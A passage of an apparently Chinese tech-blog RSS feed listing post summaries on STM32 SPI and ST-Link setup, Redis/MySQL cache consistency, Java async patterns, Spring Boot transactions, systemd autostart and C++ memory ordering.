除以（-b），那么余数也为r&#xA;6、求408735787基于17进制的展开，以及1442151747基于36进制的展开&#xA;（上面两题没有检查！！万一被检查错了，就太丢人了。万一做错了，麻烦给我留言。）&#xA;7、将减法和除法运算解释为数轴的几何变换。&#xA;加法例子：&#xA;乘法例子：&#xA;减法例子：&#xA;除法例子：&#xA;8、证明：令r是一个有理数，a是一个无理数。&#xA;证明1：ra是有可能是有理数。&#xA;证明2：ra有可能是无理数。&#xA;证明1：首先，基于这样一个事实：√ 2是一个无理数。（当然也可以取π）&#xA;令r = 0； a= √ 2 ra = 0，是一个有理数（得证）。&#xA;证明2：令r = 1； a= √ 2 ra = √ 2 （是一个无理数，得证）</description>
    </item>
    <item>
      <title>使用postman发请求报错Error: connect ECONNREFUSED 127.0.0.1:33210</title>
      <link>https://bchobby.github.io/posts/0a00f771bdf9dab820983cc07f6b7d1a/</link>
      <pubDate>Thu, 06 Jul 2023 11:34:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a00f771bdf9dab820983cc07f6b7d1a/</guid>
      <description>原因：代理服务器问题&#xA;解决： 两种方案任选其一&#xA;1.电脑网络设置，关闭代理服务器&#xA;2.postman 的设置proxy 取消勾选</description>
    </item>
    <item>
      <title>stm32笔记（串口重写printf不能发送数据）</title>
      <link>https://bchobby.github.io/posts/5e0a5152e2f545f15ad9174043b958ff/</link>
      <pubDate>Thu, 06 Jul 2023 10:47:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e0a5152e2f545f15ad9174043b958ff/</guid>
      <description>在Keil写stm32的时候用串口重写printf发送不了数据 需要勾选 Use MicroLIB&#xA;在Keil中勾选 &#34;Use MicroLIB&#34; 选项会启用MicroLIB库，它是Keil提供的一种优化的C标准库替代方案。勾选此选项可以在编译过程中使用MicroLIB库的函数和优化特性。&#xA;使用MicroLIB库相比于使用默认的C标准库（如GNU C库或ARM C库）有一些优势和特点：&#xA;1. 节省代码空间：MicroLIB库采用了一些优化技术，可以减小编译生成的可执行文件的代码尺寸。这对于资源受限的嵌入式系统来说是非常有益的。&#xA;2. 快速启动：MicroLIB库的启动时间比较短，可以加快系统的启动速度。&#xA;3. 适用于嵌入式系统：MicroLIB库专门为嵌入式系统设计，提供了一些针对嵌入式系统的特性和优化，如支持裁剪、对齐和紧凑的数据结构等。&#xA;请注意，勾选 &#34;Use MicroLIB&#34; 选项后，编译器将使用MicroLIB库的函数和优化特性，因此你需要确保你的代码与MicroLIB库兼容，并且没有依赖于其他特定的C标准库函数或特性。如果你的代码中使用了不兼容的函数或特性，可能会导致编译错误或运行时错误。&#xA;另外，MicroLIB库并非适用于所有情况，具体是否使用MicroLIB库需要根据你的项目需求和性能要求来决定。在一些特定的情况下，使用默认的C标准库可能更为合适。</description>
    </item>
    <item>
      <title>redis与mysql的数据一致性</title>
      <link>https://bchobby.github.io/posts/3982ebd4a52ee81c6915589215d5f97b/</link>
      <pubDate>Thu, 06 Jul 2023 00:05:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3982ebd4a52ee81c6915589215d5f97b/</guid>
      <description>解决redis与mysql的数据一致性 为什么会出现数据不一致性？ 首先要明白只要我们使用了Redis缓存，就必然存在缓存和DB数据一致性的问题！就是我们修改了数据，没能即使同步到缓存中去！而我们业务读到缓存中不是最新的数据，这可能会导致严重的错误！如将商品库存缓存在Redis，若库存数量不对，则下单时就可能出错，这是难以接受的。&#xA;那么什么是数据一致性？ 缓存中有数据且缓存数据值与DB相同缓存无数据DB是最新最新值 不符合我们这两种的情况，都是属于数据不一致了！&#xA;好处就是减少数据库的IO操作；提升数据的IO性能！如图去数据的缓存架构图：&#xA;解决方法 1.先更新数据再更新缓存&#xA;这里会有一个问题：如果更新缓存失败，就会导致会数据和redis中数据不一致。&#xA;2.先删除缓存再更新数据库&#xA;这里也有一个问题：在理想情况下应用下次访问redis的时候，发现redis里面的数据是空的，就从数据库中加载保存到redis里面，那么数据看起来就是一致的！但是在极端的情况下，由于删除redis和更新数据库，这两个操作不是原子的，所以在这个过程有其他的线程来访问的，还是会存在数据不一致的问题！&#xA;所以在极端的情况下，仍然保证redis与mysql的数据一致性，可以采用最终的一次性方案：&#xA;基于RocketMQ的可高性消息通信来实现最终一次性&#xA;*&#xA;通过Canal组件监控MySQL中Binlog日志实现一致性，把更新的数据同步到Redis里面去&#xA;这两个方法都是最终一致性来实现的！如果我们的业务场景不能接受数据短期不一致性的哇！那么我们可以通过读写锁的方法来保证强一致性！在数据更新的时候其他任何请求都无法访问缓存中的数据，直到数据更新完毕，从而保证数据的强一致性！但是这种方式，由于增加锁的操作，所以在性能上会有一定的影响&#xA;如图是读写锁实现一致性图：</description>
    </item>
    <item>
      <title>简述javaScript中数组操作</title>
      <link>https://bchobby.github.io/posts/32422aa730c3242992382863f69cb289/</link>
      <pubDate>Wed, 05 Jul 2023 23:06:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32422aa730c3242992382863f69cb289/</guid>
      <description>在JavaScript中，有很多数组操作可以帮助您对数组进行各种操作和变换。以下是一些常见的数组操作：&#xA;访问数组元素：&#xA;您可以使用索引访问数组中的特定元素，索引从0开始。&#xA;const arr = [1, 2, 3]; console.log(arr[0]); // 输出: 1 添加元素：&#xA;您可以使用push()方法向数组末尾添加一个新元素。&#xA;const arr = [1, 2, 3]; arr.push(4); console.log(arr); // 输出: [1, 2, 3, 4] 删除元素：&#xA;您可以使用pop()方法删除并返回数组的最后一个元素，或使用splice()方法删除指定索引处的元素。&#xA;const arr = [1, 2, 3, 4]; arr.pop(); console.log(arr); // 输出: [1, 2, 3] arr.splice(1, 1); console.log(arr); // 输出: [1, 3] 数组迭代：&#xA;您可以使用forEach()方法迭代数组中的每个元素，并对其执行指定的操作。&#xA;const arr = [1, 2, 3]; arr.forEach(element =&amp;gt; { console.log(element); // 依次输出: 1, 2, 3 }); 数组映射：</description>
    </item>
    <item>
      <title>Java 的 8 种异步实现方式，让性能飞起来</title>
      <link>https://bchobby.github.io/posts/2591b73cc80e1ca72528c1a33a739d6c/</link>
      <pubDate>Wed, 05 Jul 2023 21:10:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2591b73cc80e1ca72528c1a33a739d6c/</guid>
      <description>异步执行对于开发者来说并不陌生，在实际的开发过程中，很多场景多会使用到异步，相比同步执行，异步可以大大缩短请求链路耗时时间，比如：发送短信、邮件、异步更新等，这些都是典型的可以通过异步实现的场景。&#xA;异步的八种实现方式 线程Thread&#xA;Future&#xA;异步框架CompletableFuture&#xA;Spring注解@Async&#xA;Spring ApplicationEvent事件&#xA;消息队列&#xA;第三方异步框架，比如Hutool的ThreadUtil&#xA;Guava异步&#xA;什么是异步？ 首先我们先看一个常见的用户下单的场景：&#xA;在同步操作中，我们执行到 发送短信 的时候，我们必须等待这个方法彻底执行完才能执行 赠送积分 这个操作，如果 赠送积分 这个动作执行时间较长，发送短信需要等待，这就是典型的同步场景。&#xA;我们创建了一个高质量的技术交流群，与优秀的人在一起，自己也会优秀起来，赶紧点击加群，享受一起成长的快乐。另外，如果你最近想跳槽的话，年前我花了2周时间收集了一波大厂面经，节后准备跳槽的可以点击这里领取！&#xA;实际上，发送短信和赠送积分没有任何的依赖关系，通过异步，我们可以实现赠送积分和发送短信这两个操作能够同时进行，比如：&#xA;这就是所谓的异步，是不是非常简单，下面就说说异步的几种实现方式吧。&#xA;1. 线程异步 public class AsyncThread extends Thread { @Override public void run() { System.out.println(&#34;Current thread name:&#34; + Thread.currentThread().getName() + &#34; Send email success!&#34;); } public static void main(String[] args) { AsyncThread asyncThread = new AsyncThread(); asyncThread.run(); } } 当然如果每次都创建一个Thread线程，频繁的创建、销毁，浪费系统资源，我们可以采用线程池：&#xA;private ExecutorService executorService = Executors.newCachedThreadPool(); public void fun() { executorService.</description>
    </item>
    <item>
      <title>第五节：springboot整合Mybatis（声明式事务@Transactional）</title>
      <link>https://bchobby.github.io/posts/81fcb4e713e2efaf28f40b4bb62f0c3c/</link>
      <pubDate>Wed, 05 Jul 2023 18:31:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81fcb4e713e2efaf28f40b4bb62f0c3c/</guid>
      <description>SpringBoot事务 前言一、准备工作1、mysql新增t_car表2、新增Car类3、新增CarMapper类4、新增CarServicer类5、新增CarServicerImpl类 二、事务测试1、@Transactional-readOnly只读2、@Transactional-rollbackFor需要进行回滚的异常类（正确演示）3、@Transactional-rollbackFor需要进行回滚的异常类（错误演示） 三、事务不生效原因1、方法创建错误2、异常吃掉了3、同一个类中（或不同类中），A方法调B方法A方法调用B方法，A方法没有配事务，B方法配事务。 -&amp;gt; 事务失效A方法调用B方法，A方法配事务，B方法不配事务或者配事务。 -&amp;gt; 事务生效 4、其他1、存储引擎不支持；2、spirng配置没有开启事务；3、类没有被spring管理；4、多线程情况下； 前言 ps:一般会在springBoot的启动类加上@EnableTransactionManagement启动事务，在类上使用@Transactional就可以启动事务了。不过不加@EnableTransactionManagement，springBoot也会自动给你装载了@EnableTransactionManagement，启动事务了。&#xA;一、准备工作 1、mysql新增t_car表 /* Navicat MySQL Data Transfer Source Server : 本地数据库3306 Source Server Type : MySQL Source Server Version : 50735 Source Host : localhost:3306 Source Schema : study-demo Target Server Type : MySQL Target Server Version : 50735 File Encoding : 65001 Date: 05/07/2023 10:05:11 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for t_car -- ---------------------------- DROP TABLE IF EXISTS `t_car`; CREATE TABLE `t_car` ( `car_id` int(20) NOT NULL, `car_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `gmt_create` datetime NULL DEFAULT CURRENT_TIMESTAMP COMMENT &#39;创建时间&#39;, `gmt_modified` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT &#39;更新时间&#39;, PRIMARY KEY (`car_id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; SET FOREIGN_KEY_CHECKS = 1; 2、新增Car类 package com.</description>
    </item>
    <item>
      <title>STM32F407 SPI配置和时序图讲解（二）</title>
      <link>https://bchobby.github.io/posts/a6971992c296529826de02d767f3e748/</link>
      <pubDate>Wed, 05 Jul 2023 17:40:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6971992c296529826de02d767f3e748/</guid>
      <description>上节讲了SPI的基本配置，这节主要讲解如何看时序图，SPI数据到底是如何传输的。&#xA;SPI初始化后，就可以开始向对象发送数据了，但是要发送数据给W25Q128模块，需要按照它的时序图来发送（个人用的是W25Q128模块）&#xA;W25Q128模块简介&#xA;W25Q128是一款常见的串行闪存存储器模块，属于Winbond Electronics生产的产品系列之一。以下是关于W25Q128模块的一些基本信息：&#xA;存储容量：W25Q128模块的存储容量为128Mb（兆比特）或16MB（兆字节）。它可以存储大量的数据，如代码、配置文件、图像、音频等。&#xA;SPI接口：W25Q128模块使用SPI（Serial Peripheral Interface）接口进行数据通信。SPI是一种常用的串行通信协议，可以实现高速的数据传输。&#xA;供电电压：W25Q128模块通常工作在3.3V的供电电压下，但也支持1.8V的供电电压。在使用时需要根据实际情况选择适当的供电电压。&#xA;特性：W25Q128模块具有快速的读写速度和低功耗特性。它支持多种读写模式，包括普通读写、高速读写、扇区擦除、块擦除等。&#xA;什么是时序图&#xA;时序图（Timing diagram）是一种用于描述系统内部或组件之间时序关系的图形表示方法。它展示了信号、事件或数据在时间轴上的传输和交互情况，帮助我们理解系统各个组件之间的时序行为。&#xA;时序图通常由水平的时间轴和垂直的信号线组成。时间轴表示时间的流逝，从左到右逐渐增加。信号线代表电平、状态或数据的变化。通过在时间轴上绘制信号线的高低变化、起始时间和持续时间等信息，时序图能够清晰地展示不同组件之间的交互和同步。&#xA;时序图可以用于多种场景，如硬件电路设计、软件系统调试、通信协议分析等。它有助于可视化和验证系统的时序约束、响应时间、并发操作、数据流动和交互行为，帮助开发人员了解系统执行的顺序以及事件之间的依赖关系。&#xA;上述只是简单介绍一下这个模块和时序图，下面开始正题！&#xA;每一款模块都会给你原理图和数据手册以及时序图&#xA;以下是W25Q128获取厂商ID的时序图&#xA;这是两段时序图，因为一张图放不下，截取两部分，可以仔细观察一下看不看得懂，下面是拼接解析之后的时序图&#xA;第一步：先看是谁的时序图，这是W25Q128的时序图，W25Q128相对于stm32芯片来说是从机，所以最左边四个引脚要搞清楚是什么，再stm32芯片中如何配置&#xA;第二步：再看数据如何传输的（高位先出还是地位先出）这对下面编程来说很重要，对于这幅时序图来说是高位先出（MSB）（看图可以找到MSB，左上）&#xA;第三步：看第一段，各个引脚的开始状态是什么，高电平还是低电平&#xA;第四步：看第二段，片选引脚拉低，开始工作，时钟线开始变化&#xA;第五步：看第三段，主机（stm32）开始发送指令(每个指令都不相同)，这里可以看到查询厂商ID指令为：0x09（小图也标注了它的二进制），这就是数据的传输过程。&#xA;注释：为何看出来是主机发送，因为数据变化的MOSI(主输出从输入)这一根数据线，而MISO这跟数据线没有变化，只是起始电平，目前不管它&#xA;第六步：看第四段，主机发送一个24位地址值，每个指令的地址值不一样，具体看时序图&#xA;第七步：看第五段，主机随便发送数据（随便发不用管是什么，因为从机不会处理这些数据）发这些数据就是为了保持同步（SPI为高速串行全双工同步通信），我们发送这些数据的同时，从机就会给我们反发（因为现在MISO这跟数据线开始变化了）厂商号和设备号&#xA;第八步：看第六段，片选引脚拉高，回到空闲状态，通信结束&#xA;现在看懂了，来看看代码如何编写&#xA;//SPI发送/接收1字节数据函数（自己对SPI接收和发送库函数做的简单封装） uint8_t Spi_Send_And_Recv_Byte_Data(uint8_t byte) { //判断SR寄存器(状态寄存器)1----&amp;gt;发送缓冲区为空（具体查看寄存器手册） while(SPI_I2S_GetFlagStatus(SPI1,SPI_I2S_FLAG_TXE) == RESET); //通过spi发送数据 SPI_I2S_SendData(SPI1,byte);&#x9;//STM32F4系列 SPI标准发送库函数 //再次判断SR寄存器 while(SPI_I2S_GetFlagStatus(SPI1,SPI_I2S_FLAG_RXNE) == RESET); //返回spi接收值 return SPI_I2S_ReceiveData(SPI1);&#x9;//STM32F4系列 SPI的标准接收库函数 } //读取厂商ID和设备ID void Read_W25Q128_ID(uint8_t *M_ID,uint8_t *D_ID) { //cs引脚拉低开始通信 GPIO_PIN_NSS(0);&#x9;//自己定义的片选宏（不会宏定义的私发我，我亲自教，我不相信学到SPI还有人不会C语言宏定义） //发送获取ID号指令 Spi_Send_And_Recv_Byte_Data(0x90);&#x9;//读取设备号ID指令（0x90） //发送24位地址（因为SPI发送函数只能发一个字节，所以分三次发送） //记住这个是高位先出，所以要先发高位，这些细节我在上面时序图解析全部提出来了，注意看！ uint32_t Address = 0x000000;//要发送的地址值 Spi_Send_And_Recv_Byte_Data((uint8_t)Address&amp;gt;&amp;gt;16);&#x9;//发送高八位 Spi_Send_And_Recv_Byte_Data((uint8_t)Address&amp;gt;&amp;gt;8);&#x9;//发送中间八位 Spi_Send_And_Recv_Byte_Data((uint8_t)Address);&#x9;//发送低八位 //接收设备号（发一些无用数据是为了保持通信同步） *M_ID = Spi_Send_And_Recv_Byte_Data(0xFF);//这里就是发送一些无用数据，从机给我们反发ID号 *D_ID = Spi_Send_And_Recv_Byte_Data(0xFF);//这里就是发送一些无用数据，从机给我们反发ID号 //cs拉高电平，结束通信 GPIO_PIN_NSS(1); } 上面所有的细节和需要主义的地方我都标注清楚了</description>
    </item>
    <item>
      <title>Element-UI的使用（入门）</title>
      <link>https://bchobby.github.io/posts/655fdfb75e2b8360a0fe3f2dcda437dc/</link>
      <pubDate>Wed, 05 Jul 2023 16:22:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/655fdfb75e2b8360a0fe3f2dcda437dc/</guid>
      <description>主体界面 1、导航菜单 &amp;lt;div style=&#34;display:flex&#34;&amp;gt; &amp;lt;!-- 侧边栏--&amp;gt; &amp;lt;div style=&#34;width:200px; min-height: calc(100vh - 62px); overflow: hidden; margin-right:2px; background-color: white&#34;&amp;gt; &amp;lt;el-menu :default-active=&#34;$route.path&#34; :default-openeds=&#34;[&#39;/&#39;]&#34; router class=&#34;el-menu-demo&#34;&amp;gt; &amp;lt;el-menu-item index=&#34;/&#34;&amp;gt; &amp;lt;i class=&#34;el-icon-s-home&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span&amp;gt;主页&amp;lt;/span&amp;gt; &amp;lt;/el-menu-item&amp;gt; &amp;lt;el-submenu index=&#34;/&#34;&amp;gt; &amp;lt;template slot=&#34;title&#34;&amp;gt; &amp;lt;i class=&#34;el-icon-s-tools&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span&amp;gt;我的工作台&amp;lt;/span&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;el-menu-item index=&#34;about&#34;&amp;gt;关于详情&amp;lt;/el-menu-item&amp;gt; &amp;lt;/el-submenu&amp;gt; &amp;lt;/el-menu&amp;gt; &amp;lt;/div&amp;gt; 2、搜索表单 &amp;lt;!-- 表单--&amp;gt; &amp;lt;div style=&#34;margin-bottom: 20px&#34;&amp;gt; &amp;lt;el-input style=&#34;width: 260px&#34; placeholder=&#34;请输入姓名&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;el-input style=&#34;width: 260px;margin-left: 10px&#34; placeholder=&#34;请输入联系方式&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;el-button style=&#34;margin-left:10px&#34; type=&#34;primary&#34;&amp;gt;&amp;lt;i class=&#34;el-icon-search&#34;&amp;gt;&amp;lt;/i&amp;gt;搜索&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; 3、表格 &amp;lt;!-- 表格--&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34; stripe&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;</description>
    </item>
    <item>
      <title>STM32F407 SPI配置和时序图讲解（一）</title>
      <link>https://bchobby.github.io/posts/b47cd70786d5618bada650335ea42498/</link>
      <pubDate>Wed, 05 Jul 2023 16:05:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b47cd70786d5618bada650335ea42498/</guid>
      <description>什么是SPI？&#xA;串行外设接口，一种高速的、全双工、同步的通信总线&#xA;通信的同步：在同一时间周期内，完成一个数据的方式和接收&#xA;优点：&#xA;SPI接口是在CPU和外围低速设备之间进行串行数据传输，在主要期间的位移脉冲下数据按位传输，低位在前，且是全双工通信，数据传输相对I2C总线要快速度达到几Mbps，信号线少，协议简单，相对效率较高&#xA;缺点：&#xA;没有指定的流控制，没有应答机制来确认对方是否接收到数据&#xA;工作模式：&#xA;SPI有4种工作模式，由CPOL和CPHA来决定&#xA;CPOL：时钟极性(高低电平)选择：为0时如果SPI总线空闲，时钟线将为低电平，为1时，如果SPI总线空闲，时钟线将为高电平&#xA;CPHA：时钟相位(跳变沿)选择：为0时，将在SCLK的第一个跳变沿时，主机对从机进行采样，为1时，将在SCLK的第二个跳变沿时，主机对从机进行采样&#xA;跳变沿：电平发生变化时的边沿&#xA;下面重点解读一下为什么会有这么4种工作方式（仔细看图，一定能看懂）&#xA;因为一个脉冲有高电平也有低电平，那么也就会有变化时候（跳变），这时候如果不规定那个数据为我们需要读取的数据，就会造成数据读取错乱，这时候就出现了一个SPI中很重要的参数CPHA（时钟相位）用来规定那个跳变沿才是我们读取的正确数据。&#xA;因此，根据CPOL和CPHA的不同值可以有不同的搭配（理解上图之后，这个很简单）：&#xA;CPOL=0,CPHA=0 -&amp;gt; 模式0 SPI总线空闲时时钟线为低电平，从第一跳变沿获取数据&#xA;CPOL=1,CPHA=0 -&amp;gt; 模式1 SPI总线空闲时时钟线为高电平，从第一跳变沿获取数据&#xA;CPOL=0,CPHA=1 -&amp;gt; 模式2 SPI总线空闲时时钟线为低电平，从第二跳变沿获取数据&#xA;CPOL=1,CPHA=1 -&amp;gt; 模式3 SPI总线空闲时时钟线为高电平，从第二跳变沿获取数据&#xA;常用的模式为模式0和模式3&#xA;主机和从机：&#xA;了解上面基本知识点之后，就是一些简单配置&#xA;SPI初始化流程：&#xA;1、时钟使能&#xA;2、配置SCLK, MOSI,MISO为复用模式（具体引脚看自己芯片原理图）&#xA;3、选择复用对象为SPI&#xA;4、配置NSS为输出模式（具体引脚看自己芯片原理图）&#xA;5、根据时序图，选择初始电平&#xA;6、配置SPI&#xA;7、使能SPI&#xA;具体配置，添加固件库后有如何配置，这里就不做过多叙述。&#xA;下一章才是重难点，时序图讲解！！！！</description>
    </item>
    <item>
      <title>迅为瑞芯微“国产”开发板RK3588满足扩展需求</title>
      <link>https://bchobby.github.io/posts/300665367cf7b6d4e4efe1857ecf97a3/</link>
      <pubDate>Wed, 05 Jul 2023 15:55:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/300665367cf7b6d4e4efe1857ecf97a3/</guid>
      <description>产品特点：&#xA;四核心架构 GPU&#xA;集成 Mali G610 MP4 四核 GPU、支持 OpenGLES 1.1、2.0、3.2OpenCL 2.2 和 Vulkan1.2 带有 MMU 的特殊 2D 硬件引擎将最大限度地提高显示性能，并提供非常平稳的操作。&#xA;内置独立 NPU&#xA;RK3588 集成了瑞芯微第四代具有完全自主知识产权的人工智能运算引擎，在 MAC 运算单元的利用率及带宽的消耗上提升了 30%。&#xA;6TOPs 的 NPU 算力，赋能各类 AI 场景。&#xA;强大的视频编解码&#xA;8K 编码+8K 解码，多路视频源同时解码。支持 8K@60fpsH.265/H.264/P9/AV1 视频解码和 8K@30fps H265/H264 视频编码&#xA;核心板&#xA;连接器版本核心板支持商业级、工业级、国产化版本，兼容同一底板，核心板引脚 320PIN 全部引出，满足用户扩展需求。&#xA;邮票孔版本商业级核心板 242 PIN 引脚。&#xA;核心板参数：&#xA;CPU ROCKCHIPRK3588 八核 A76+A55&#xA;主频 八核处理器，A76 四核+A55 四核，主频 2.0GHZ&#xA;内存 4GB，硬件兼容 32GB&#xA;存储器 32GB EMMC&#xA;电源管理芯片 使用 RK806-1，支持动态调频等&#xA;工作环境温度 -20~60 度</description>
    </item>
    <item>
      <title>STM32——STLink的使用</title>
      <link>https://bchobby.github.io/posts/2ac4f0427e399544834a8bd79228f9c0/</link>
      <pubDate>Wed, 05 Jul 2023 15:52:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ac4f0427e399544834a8bd79228f9c0/</guid>
      <description>文章目录 STLink的使用一、STLink下载与安装1. STLink的下载2. STLink的安装 二、STLink的配置 STLink的使用 首先第一步，连接线的VCC和GND别接反了&#xA;本文粗略下载安装，详细描述配置&#xA;一、STLink下载与安装 1. STLink的下载 到官网https://www.st.com/en/development-tools/stsw-link004.html下载对应版本的驱动&#xA;（或者一些公众号分享的网盘，实在找不到可以私信我，我给你发，没人回可加QQ2227896924）&#xA;2. STLink的安装 安装环境：仅支持windows系统，不支持mac、Linux点击exe安装包一直点下一步就行&#xA;二、STLink的配置 打开keil点击魔术棒&#xA;点击debug设置如图下并点击Setting&#xA;设置完成后，Debug里面会显示型号信息（线连接的情况下）&#xA;在Flash Douwnload下 选择烧录后自动运行reset and run&#xA;如果有Pack，ENABLE取消&#xA;下载程序&#xA;下载后会显示下面信息&#xA;以上仅作为个人笔记，不做权威使用</description>
    </item>
    <item>
      <title>centos7 服务开机自启动 - systemctl</title>
      <link>https://bchobby.github.io/posts/79adae0a211f85d16bcd46e453e0248e/</link>
      <pubDate>Wed, 05 Jul 2023 13:37:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79adae0a211f85d16bcd46e453e0248e/</guid>
      <description>在服务器上安装的各种中间件，一般都需要配置成开机自启动。但是有些中间件的安装过程中并没有提供相关配置开机自启动的说明文档。本文总结一下Centos7通过systemctl enble配置服务自启动的方法。&#xA;更多方法参考链接：Centos开机自启动配置方式汇总&#xA;一、Centos7通过systemctl enble配置服务自启动 在Centos7后，更推荐通过systemctl来控制服务。&#xA;Centos 系统服务脚本目录/usr/lib/systemd/ 有系统（system）和用户（user）之分，如需要开机没有登陆情况下就能运行的程序，存在系统服务（system）里，即：/usr/lib/systemd/system/。反之，用户登录后才能运行的程序，存在用户（user）里，服务以.service结尾，即：/usr/lib/systemd/user/&#xA;服务的管理是通过 systemd，而 systemd 的配置文件大部分放置于 /usr/lib/systemd/目录内。但是 Red Hat 官方文件指出（详情请看：https://wizardforcel.gitbooks.io/vbird-linux-basic-4e/content/150.html）， 该目录的文件主要是原本软件所提供的设置，建议不要修改！而要修改的位置应该放置于 /etc/systemd/system/目录内。&#xA;1.1 对于已安装的服务，直接设置开机自启动 查看服务状态：systemctl status 服务名 #示例 systemctl status taosd systemctl status taosadapter 如下图所示：&#xA;disabled：说明服务还没有开启开机自启动。enabled：说明服务开启了开机自启动。&#xA;服务还没有开启开机自启动的，设置为开启开机自启动状态，执行命令： systemctl enable 服务名 #示例 systemctl enable taosadapter 设置完成后，再查看状态：systemctl status taosadapter&#xA;服务状态说明：systemctl status 服务名称&#xA;loaded 系统服务已经初始化完成，加载过配置active（running） 正有一个或多个程序正在系统中执行， vsftpd就是这种模式atcive（exited） 僅執行一次就正常結束的服務， 目前並沒有任何程序在系統中執行atcive（waiting） 正在執行當中，不過還再等待其他的事件才能继续处理inactive 服务关闭enbaled 服务开机启动disabled 服务开机不自启static 服务开机启动项不可被管理failed 系统配置错误 1.2 对于未安装的服务，建立脚本设置开机自启动 以建立kibana服务开机自启动为例：&#xA;建立kibana服务文件： #进入目录 cd /etc/systemd/system/ # 创建脚本文件 touch kibana.</description>
    </item>
    <item>
      <title>ES的一些操作记录</title>
      <link>https://bchobby.github.io/posts/e618e2fec6d96de926ed2406cc1ead53/</link>
      <pubDate>Wed, 05 Jul 2023 11:19:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e618e2fec6d96de926ed2406cc1ead53/</guid>
      <description>Elasticsearch 不登录节点，查看节点的内存信息&#xA;GET _cat/nodes?h=name,hm,ramPercent,ram.current,ramMax&amp;amp;v&#xA;Elasticsearch查看close掉的索引&#xA;GET /_cluster/state/blocks?pretty&#xA;Elasticsearch批量查看索引的创建时间&#xA;GET _cat/indices?h=h,s,i,id,p,r,dc,dd,ss,creation.date.string</description>
    </item>
    <item>
      <title>烧脑的内存序Memory Order</title>
      <link>https://bchobby.github.io/posts/71265386a7b268c9145b6d45ac30ef8d/</link>
      <pubDate>Wed, 05 Jul 2023 10:58:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71265386a7b268c9145b6d45ac30ef8d/</guid>
      <description>系列服务器开发 文章目录 系列服务器开发前言一、Memory Order是什么？二、使用步骤1.memory_order_relaxed2.memory_order_acquire 和memory_order_release3.memory_order_consume4.memory_order_acq_rel5.memory_order_seq_cst 总结 前言 本文是讲解C++内存序，现代cpu架构如下：&#xA;上述提供了一个粗略的现代CPU架构，上述中CPU标注的块，代表着一个Core，此处说明一下。&#xA;在上述4core系统中，每两个core构成一个bank，并共享一个cache，且每个core均有一个store buffer。&#xA;在多线程编程中经常需要在不同线程之间共享一些变量，然而对于共享变量操作却经常造成一些莫名奇妙的错误，除非老老实实加锁对访问保护，否则经常出现一些（看起来）匪夷所思的情况。&#xA;乱序执行技术是处理器为提高运算速度而做出违背代码原有顺序的优化.&#xA;内存乱序访问一般分为两种：编译乱序和执行乱序。&#xA;指令重排问题&#xA;int a = 0； bool flag=false； void thread1() { a = 1； flag=true； } void thread2() { if (flag == true){ assert(a == 1); } } 我们期待的执行顺序，&#xA;实际可能产生的内存顺序，这种重排有可能会导致一个线程内相互之间不存在依赖关系的指令交换执行顺序，以获得更高的执行效率。&#xA;解决办法：&#xA;一个比较稳妥的办法就是对于共享变量的访问进行加锁，加锁可以保证对临界区的互斥访问、如果觉得加锁操作过重太麻烦而不想加锁呢？C++11提供了一些原子变量与原子操作来支持。请学习下面章节。&#xA;什么时候用内存屏障&#xA;编译器开发者和cpu厂商都遵守着内存乱序的基本原则，简单归纳如下：&#xA;（1）不能改变单线程程序的执行行为 ，即单线程程序总是满足Program Order(所见即所得)。在此原则指导下，写单线程代码的程序员不需要关心内存乱序的问题。&#xA;（2）在多线程编程中，由于使用互斥量，信号量和事件都在设计的时候都阻止了它们调用点中的内存乱序(已经隐式包含各种内存屏障)，内存乱序的问题同样不需要考虑了。&#xA;（3）只有当使用无锁(lock-free)技术时，即内存在线程间共享而没有任何的互斥量，内存乱序的效果才会显露无疑，这样我们才需要考虑在合适的地方加入合适的memery barrier。或者你希望编写诸如无锁数据结构，那么内存屏障还是很有用的。&#xA;CPU内存乱序访问发生的原因&#xA;（1）编译优化，指令重排导致乱序&#xA;由于编译器在编译代码时不感知多线程并发执行情况。所以，编译器对代码的优化是基于单线程执行情况，优化的结果就是导致多线程执行环境下CPU内存访问乱序问题。&#xA;（2）CPU运行，指令执行乱序&#xA;多核CPU并发执行，访问乱序。&#xA;在单核CPU 上，不考虑编译器优化导致乱序的前提下，多线程执行不存在内存乱序访问的问题。&#xA;一、Memory Order是什么？ 内存顺序描述了计算机 CPU 获取内存的顺序，内存的排序既可能发生在编译器编译期间，也可能发生在 CPU 指令执行期间。&#xA;为了尽可能地提高计算机资源利用率和性能，编译器会对代码进行重新排序， CPU 会对指令进行重新排序、延缓执行、各种缓存等等，以达到更好的执行效果。当然，任何排序都不能违背代码本身所表达的意义，并且在单线程情况下，通常不会有任何问题。当然这些乱序指令都是为了同一个目的，优化执行效率。happens-before:按照程序的代码序执行。</description>
    </item>
    <item>
      <title>TCP黏包</title>
      <link>https://bchobby.github.io/posts/4bf247d0d95659b153c2d358146c0183/</link>
      <pubDate>Wed, 05 Jul 2023 10:50:41 +0800</pubDate>
